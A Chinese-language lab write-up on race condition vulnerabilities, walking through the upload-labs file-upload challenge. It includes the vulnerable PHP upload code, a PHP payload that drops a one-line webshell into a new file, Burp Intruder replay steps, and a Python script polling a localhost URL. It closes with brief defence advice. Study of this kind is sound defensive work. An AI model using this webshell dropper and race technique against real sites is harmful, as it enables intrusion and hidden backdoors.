介绍:很简单的upload-labs
实验题,但是可以引申出值得进一步学习的条件竞争漏洞。
0x00 前言
第一年打省赛的银牌Web
题就是考察条件竞争漏洞的,题目不难但当时没接触过很遗憾,回过头再详细学习弥补一下。
0x01 条件竞争介绍
1.1 是什么
条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug
。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争。
1.2产生条件
并发、共享对象、改变对象是条件竞争产生的必要条件,Wiki
上有详细介绍:
0x02 漏洞发生场景
2.1 银行提现
当我们在手机端进行提现操作时,账户余额为500
元,向服务器发送提现500
元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500
元的请求会发生什么呢?条件竞争利用成功的结果就是多了500
大洋。
2.2 网站文件上传
网络安全如此重视的当今社会,怎么会有网站允许被不法分子上传木马等有威胁性的文件呢,开发人员通过检测文件后缀名,设置白名单黑名单各种方式判断用户上传文件是否为危险文件,一旦发现,就会立马发现。同样的,若是我们在判断和删除事件这一时间差内进行一些操作岂不是也会成功?
2.3 Dos攻击
渗透测试中我们常遇到的重放攻击与之类似,由于没有频率限制,在一些提交页面可以反复的进行数据插入,导致最终服务器资源耗尽,平台无法正常运作。
0x03 相关实验
这里拿一个木马文件上传的实验进一步理解漏洞利用过程。一个文件上传的页面,源码如下:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
接收上传的文件,白名单判断是否为jpg
,png
,gif
中的一种,若是按照日期保存在相应的文件夹内,若不是则提醒“只允许传.jpg|.png|.gif
类型文件!”随后进行unlink
删除操作。如上面漏洞场景中所说,这里便可以利用条件竞争漏洞在判断白名单和unlink
操作之间上传木马。我们进行以下操作:
准备上传的shell.php
中写入php
语句如下:
aaa<?ph fputs(fopen("rv1nm4.php", "w"), ‘<?ph ·eva1($_POST[rv1nm4]);?>’); ?>
shell.php
执行后新建rv1nm4.php
文件并写入一句话木马,作用是当上传的shell.php
被删后,后端还存有rv1nm4.php
中的后门,方便连接。
接下来抓取上传shell.php
的请求包,发送到Intruder
爆破模块
配置好相关payloads
设置,选择Null payloads
并勾选无限重放
除此之外最好设置多线程重放,增加条件竞争成功的可能性
之后就是自动重放过程,在重放之前编写脚本监控条件竞争是否成功,相关代码如下:
url = "http://127.0.0.1/upload-labs/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("YES,you upload it!")
else:
print("NO")
不断访问上传的shell.php
文件,一旦有200
状态码,说明条件竞争成功。监控脚本启动后,开始进行无限重放
与此同时,监控处反馈回了上传成功信息
接下来就可以利用相关工具结合写入的后门进行连接,为所欲为。
0x04 防御措施
魔高一尺道高一丈,有漏洞攻击方式就有防御手段,条件竞争之所以产生,很大一部分原因是程序的逻辑性出现问题,开发人员习惯性的遵循线性思维进行代码编写,对线程并发操作没有采取同步制约的相关措施。上传文件时,对于这种“夹缝中”生存的漏洞,采取先检测后上传的的方式,直接堵死这条不安全的“缝”。
0x05总结
很多实际应用场景中都有条件竞争漏洞的身影,感兴趣的小伙伴可以自己搭建环境进行学习复现。
作者:rv1nm4